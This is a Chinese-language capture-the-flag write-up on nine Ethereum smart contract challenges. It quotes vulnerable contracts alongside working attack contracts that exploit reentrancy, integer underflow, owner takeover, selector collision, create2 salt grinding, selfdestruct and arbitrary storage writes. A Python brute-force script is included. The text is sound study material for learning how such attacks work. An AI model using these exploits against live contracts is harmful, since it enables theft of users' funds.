前言 为了不使得文章过长,将代码文件放置在个人GitHub上 欢迎star 提供下载
赛题一 通过重写函数实现重入攻击
1 2 3 4 5 6 7 8 9 10 11 interface IFlashLoanTokenReceiver { function execute() external; } function flashLoan(uint256 amount) external { uint256 balanceBefore = token.balanceOf(address(this)); require(balanceBefore >= amount, "Not enough ETH in balance"); token.transfer(msg.sender, amount); IFlashLoanTokenReceiver(msg.sender).execute(); require(token.balanceOf(address(this)) >= balanceBefore, "Flash loan hasn't been paid back"); }
攻击思路:
首先进入flashLoan函数,贷走所有的金额
利用IFlashLoanTokenReceiver(msg.sender).execute();重入调用deposit函数,将钱归还闪电贷。此时由于重入deposit函数,会记录一个错误的用户余额。
调用withdraw函数获得合约中全部的token。
攻击代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 contract dvt1_attack{ address target = DaoPool address; address token = DVT1 address; uint256 amount; function execute() external { IERC20(token).approve(target,amount); target.call( abi.encodeWithSignature("deposit(uint256)", amount) ); } function attack() public{ amount = IERC20(token).balanceOf(target); target.call( abi.encodeWithSignature("flashLoan(uint256)", amount) ); target.call( abi.encodeWithSignature("withdraw()") ); } }
赛题二
owner权限控制错误
空投薅羊毛
有奖竞猜
整数溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 function DvT2() public{ //owner权限控制错误 owner = msg.sender; } function profit() public { //空投薅羊毛 require(gift[msg.sender]==0); gift[msg.sender]=1; balanceOf[msg.sender]+=1; } function betgame(uint secretguess) public { //有奖竞猜 require(balanceOf[msg.sender]>0); balanceOf[msg.sender]-=1; if (secretguess==secret) { balanceOf[msg.sender]+=2; isbet[msg.sender]=1; } } function doublebetgame(uint secretguess) public only_owner{ require(balanceOf[msg.sender]-2>0); require(isbet[msg.sender]==1); balanceOf[msg.sender]-=2; if (secretguess==secret) { balanceOf[msg.sender]+=2; } }
调用DvT2函数使自己变成owner
调用setsecret函数设置secret
调用profit空投以便后续调用betgame
调用一次正确betgame 使得balanceOf[msg.sender]=2
调用一次错误betgame 使得balanceOf[msg.sender]=1
调用一次错误doublebetgame使得balanceOf[msg.sender]下溢出
调用payforflag
攻击过程
赛题三 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function TransferOrAirDrop(address to, bool isTransfer, bytes calldata _method, uint256 amount) external { if (isTransfer) { bytes memory returnData; bool success; (success, returnData) = token.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(address,address,uint256)"))),abi.encode(msg.sender,to,amount))); require(success, "executeProposal failed"); } else { bytes memory returnData; bool isFristAirDropFlag; bool success; if(AirDropCount[msg.sender] == 0) { isFristAirDropFlag = true; } else if (AirDropCount[msg.sender] > 2) { return; } (success, returnData) = token.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bool,address)"))), abi.encode(isFristAirDropFlag, msg.sender))); require(success, "executeProposal failed"); AirDropCount[msg.sender]++; } } }
与八月份发生的Poly Network 事件类似,通过实现哈希碰撞调用DVT3合约的changeOwner函数,将DVT3合约的owner重置为我们所掌握的以太坊账号进而触发SendFlag
事件
赛题四
合约调用(tx.origin ! = msg.sender)
create2构造特定合约地址
view函数两次调用返回不同值
利用selfdestruc强制转账
重入漏洞
整数溢出漏洞
通过分析,需要首先获得owner权限,然后调用buy函数,最后调用payforflag函数。
获得owner权限
获得owner权限首先要绕过change函数里面的检查,由于声明了是view函数,因此不能通过变量记录是第几次调用。于是想到通过获取gas来判断调用到了哪里。控制交易的gas值为固定值,通过一次debug记录第一次执行到该步骤时候的剩余gas值。填入合约的判断条件中即可。
create2构造特定结尾的合约,利用另一个depoly合约辅助构建一个能绕过检查的合约。
调用buy函数,同时调用多次from == to的transfer,获得足够的钱
利用别的合约自毁给合约转账
利用重入+整数溢出构造buyTimes的值
前期部署
1 2 3 4 5 6 7 8 9 10 11 12 contract Deployer { // contractBytecode是待部署合约的bytecode bytes contractBytecode = hex"608060405260016000806101000a81548160ff021916908315150217905550610f3b8061002d6000396000f3fe6080604052600436106100745760003560e01c80637b1c7c461161004e5780637b1c7c461461040a578063a19e69c21461045b578063c224ed1a146104ac578063dac5f65f146104f057610075565b80630c200e4c146101e85780631fbe98ce146102d05780632f54bf6e146103a357610075565b5b60008054906101000a900460ff16156101e6573373ffffffffffffffffffffffffffffffffffffffff1660c8604051602401808281526020019150506040516020818303038152906040527fe4849b32000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610161578051825260208201915060208101905060208303925061013e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146101c3576040519150601f19603f3d011682016040523d82523d6000602084013e6101c8565b606091505b50505060008060006101000a81548160ff0219169083151502179055505b005b3480156101f457600080fd5b506102ce6004803603604081101561020b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561024857600080fd5b82018360208201111561025a57600080fd5b8035906020019184600183028401116401000000008311171561027c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610541565b005b3480156102dc57600080fd5b5061031f600480360360208110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106ec565b60405180831515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561036757808201518184015260208101905061034c565b50505050905090810190601f1680156103945780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b3480156103af57600080fd5b506103f2600480360360208110156103c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610855565b60405180821515815260200191505060405180910390f35b34801561041657600080fd5b506104596004803603602081101561042d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061087c565b005b34801561046757600080fd5b506104aa6004803603602081101561047e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109be565b005b6104ee600480360360208110156104c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c83565b005b3480156104fc57600080fd5b5061053f6004803603602081101561051357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dbf565b005b8173ffffffffffffffffffffffffffffffffffffffff16816040516024018080602001828103825283818151815260200191508051906020019080838360005b8381101561059c578082015181840152602081019050610581565b50505050905090810190601f1680156105c95780820380516001836020036101000a031916815260200191505b50925050506040516020818303038152906040527f6bc344bc000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b6020831061067e578051825260208201915060208101905060208303925061065b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146106e0576040519150601f19603f3d011682016040523d82523d6000602084013e6106e5565b606091505b5050505050565b60006060600060608473ffffffffffffffffffffffffffffffffffffffff1630604051602401808273ffffffffffffffffffffffffffffffffffffffff1681526020019150506040516020818303038152906040527f1e77933e000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106107e257805182526020820191506020810190506020830392506107bf565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610844576040519150601f19603f3d011682016040523d82523d6000602084013e610849565b606091505b50915091505050915091565b6000805a905063049e797c811415610871576000915050610877565b60019150505b919050565b600060608273ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527f11f776bc000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b6020831061094d578051825260208201915060208101905060208303925061092a565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146109af576040519150601f19603f3d011682016040523d82523d6000602084013e6109b4565b606091505b5091509150505050565b8073ffffffffffffffffffffffffffffffffffffffff16306064604051602401808373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527fa9059cbb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610ab55780518252602082019150602081019050602083039250610a92565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610b17576040519150601f19603f3d011682016040523d82523d6000602084013e610b1c565b606091505b5050508073ffffffffffffffffffffffffffffffffffffffff163060c8604051602401808373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527fa9059cbb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610c165780518252602082019150602081019050602083039250610bf3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610c78576040519150601f19603f3d011682016040523d82523d6000602084013e610c7d565b606091505b50505050565b8073ffffffffffffffffffffffffffffffffffffffff1660016040516024016040516020818303038152906040527fa6f2ae3a000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610d525780518252602082019150602081019050602083039250610d2f565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610db4576040519150601f19603f3d011682016040523d82523d6000602084013e610db9565b606091505b50505050565b8073ffffffffffffffffffffffffffffffffffffffff1660c8604051602401808281526020019150506040516020818303038152906040527fe4849b32000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610e985780518252602082019150602081019050602083039250610e75565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610efa576040519150601f19603f3d011682016040523d82523d6000602084013e610eff565b606091505b5050505056fea26469706673582212204d057579c349cdfe3e7b6a0517f38117ca61899b79261b0c49d20aba97e3aae664736f6c634300060c0033"; function deploy(bytes32 salt) public { bytes memory bytecode = contractBytecode; address addr; assembly { addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } } }
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 pragma solidity 0.6.12; contract test { constructor() public payable{} bool nice = true; fallback() external payable { if(nice){ msg.sender.call( abi.encodeWithSignature("sell(uint256)",200) ); nice = false; } } function isOwner(address _owner) view public returns(bool){ uint gas1 = gasleft(); if(gas1 == 0x49e797c){//浏览器调试 return false; } return true; } function _change(address target) public returns (bool success, bytes memory data){ (bool success, bytes memory data) = target.call( abi.encodeWithSignature("change(address)",address(this)) ); } function change_own(address target) public { (bool success, bytes memory data) = target.call( abi.encodeWithSignature("change_Owner()") ); } function buy_func(address target) public payable{ target.call{value: 1}( abi.encodeWithSignature("buy()") ); // check return value } function for_flag(address target,string memory b64email) public { target.call( abi.encodeWithSignature("payforflag(string)", b64email) ); } function get_enough_money(address target) public{ target.call( abi.encodeWithSignature("transfer(address,uint256)", address(this),100) ); target.call( abi.encodeWithSignature("transfer(address,uint256)", address(this),200) ); } function get_correct_time(address target) public{ target.call( abi.encodeWithSignature("sell(uint256)",200) ); } }
赛题五 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 fallback() external { if(map.length>=uint256(msg.sender)){ require(map[uint256(msg.sender)]!=1); } if(token.balanceOf(address(this))==0){ //airdrop is over selfdestruct(msg.sender);//空投结束,触发自毁 }else{ token.safeTransfer(msg.sender,100); //转账100token if (map.length <= uint256(msg.sender)) { increaseMapLength(uint256(msg.sender) + 1); } map[uint256(msg.sender)] = 1; } } function increaseMapLength(uint256 len) internal { assembly{ sstore(0x01, len) //开辟空间 } } //Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum) function guess(uint256 x,uint256 blockNum) public payable { require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18)); // guess要花费0.001 ether require(blockNum>block.number);// blockNum要大于当前block.number if(token.allowance(msg.sender,address(this))>0){ token.safeTransferFrom(msg.sender,address(this),1*(10**18)); //转账 } if (map.length <= uint256(msg.sender)+x) { increaseMapLength(uint256(msg.sender)+x + 1); } map[uint256(msg.sender)+x] = blockNum; // 可以实现任意位置写入blocknum } //Run a lottery function lottery(uint256 x) public { require(map[uint256(msg.sender)+x]!=0);// 目标地址必须有值 require(block.number > map[uint256(msg.sender)+x]);// 目标地址值大于当前区块值才能开奖 require(blockhash(map[uint256(msg.sender)+x])!=0);// 不能使中间的参数为当前块为0 bytes memory hash = abi.encode(blockhash(map[uint256(msg.sender)+x])); uint256 answer = uint256(keccak256(hash))%10000; // 计算hash的后4位 if (x == answer) { token.safeTransfer(msg.sender,token.balanceOf(address(this))); selfdestruct(msg.sender); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 contract dvp_attack { address public targetaddr; function fallback() public payable {}//接受自毁的ether constructor(address addr) public payable { targetaddr = addr; } function balanceOf(address addr) public returns(uint i){ i = 0; } function attack(uint256 x,uint256 blockNum) public { DVPgame gim= DVPgame(targetaddr);//实例化 gim.guess.value(0.001 ether)({x:x,blockNum:blockNum});//调用guess任意地址写入 targetaddr.call(abi.encode(bytes4(keccak256("a()"))));//调用fallback函数 } }
此时我们的x距离token位置偏出了c8c38cf8ac456ee7e0bc5e218f7ece57e53fb38d,把上次的x减去这个值,就是正确的token位置,再次attack 触发selfdestruct
赛题六 题目说UnstoppableLender,所以就是要让它停下来。
题目中的poolBalance由deposit累加,但是可以直接通过token.transfer,来打破balanceBefore和poolBalance的同步功能。
赛题七 题目设置分别要通过三个考验
密码公开可读取
tx.origin钓鱼 gas限制绕过
调用callfunction函数绕过
通过浏览器读取密码
部署攻击合约并且调试gas
1 2 3 4 5 6 7 8 contract att1{ constructor() public{ CrossGates gim = CrossGates( CrossGates address); gim.gateOne(); } }
赛题八 transfer函数未做from,to判断,导致可以找我转账任意铸币。这个很简单先领取空投,然后翻倍十三次金额,就能达到题目要求
赛题九 三个点
extcodesize绕过
delegatecall字节码绕过
salt爆破
预编译指令 0x0000000000000000000000000000000000000002绕过
构造emit ForFlag(msg.sender);字节码
爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import sha3from web3 import Web3from Crypto.Util.number import long_to_bytess1 = '0xff' + msg.sender s3 = 'f14110c630e2e9cbd2e1fbe32823fa40f14535e40f0291373fb44d873d550825' i = 0 while (1 ): tmp = hex (i)[2 :].ljust(64 , '0' ) salt = Web3.sha3(hexstr=(tmp+"msg.sender" .lower())) sa = '' .join(['%02x' % b for b in salt]) s = s1+sa+s3 hashed = Web3.sha3(hexstr=s) hashed_str = '' .join(['%02x' % b for b in hashed]) if hashed_str[24 :].startswith("0000" ): print(tmp,hashed_str[24 :]) break i += 1